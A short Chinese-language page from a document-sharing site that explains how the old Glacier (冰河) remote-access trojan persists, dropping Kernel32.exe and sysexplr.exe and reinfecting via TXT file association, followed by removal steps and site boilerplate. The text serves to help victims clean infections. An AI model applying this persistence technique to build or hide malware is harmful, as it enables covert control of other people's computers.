冰河標準版的服務器端程序為G-server.exe,客戶端程序為G-client.exe,默認連接端口為7626。一旦運行G-server,那么該程序就會在C:\Windows\system目錄下生成Kernel32.exe和sysexplr.exe并刪除自身。Kernel32.exe在系統啟動時自動加載運行,sysexplr.exe和TXT文件關聯。即使你刪除了Kernel32.exe,但只要你打開TXT文件,sysexplr.exe就會被激活,它將再次生成Kernel32.exe,于是冰河又回來了!這就是冰河屢刪不止的原因。

清除方法:

用純DOS啟動進入系統(以防木馬的自動恢復),刪除你安裝的windows下的system\kernel32.exe和system\sysexplr.exe兩個木馬文件

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯系上傳者。文件的所有權益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
  • 4. 未經權益所有人同意不得將文件中的內容挪作商業或盈利用途。
  • 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
  • 6. 下載文件中如有侵權或不適當內容,請與我們聯系,我們立即糾正。
  • 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論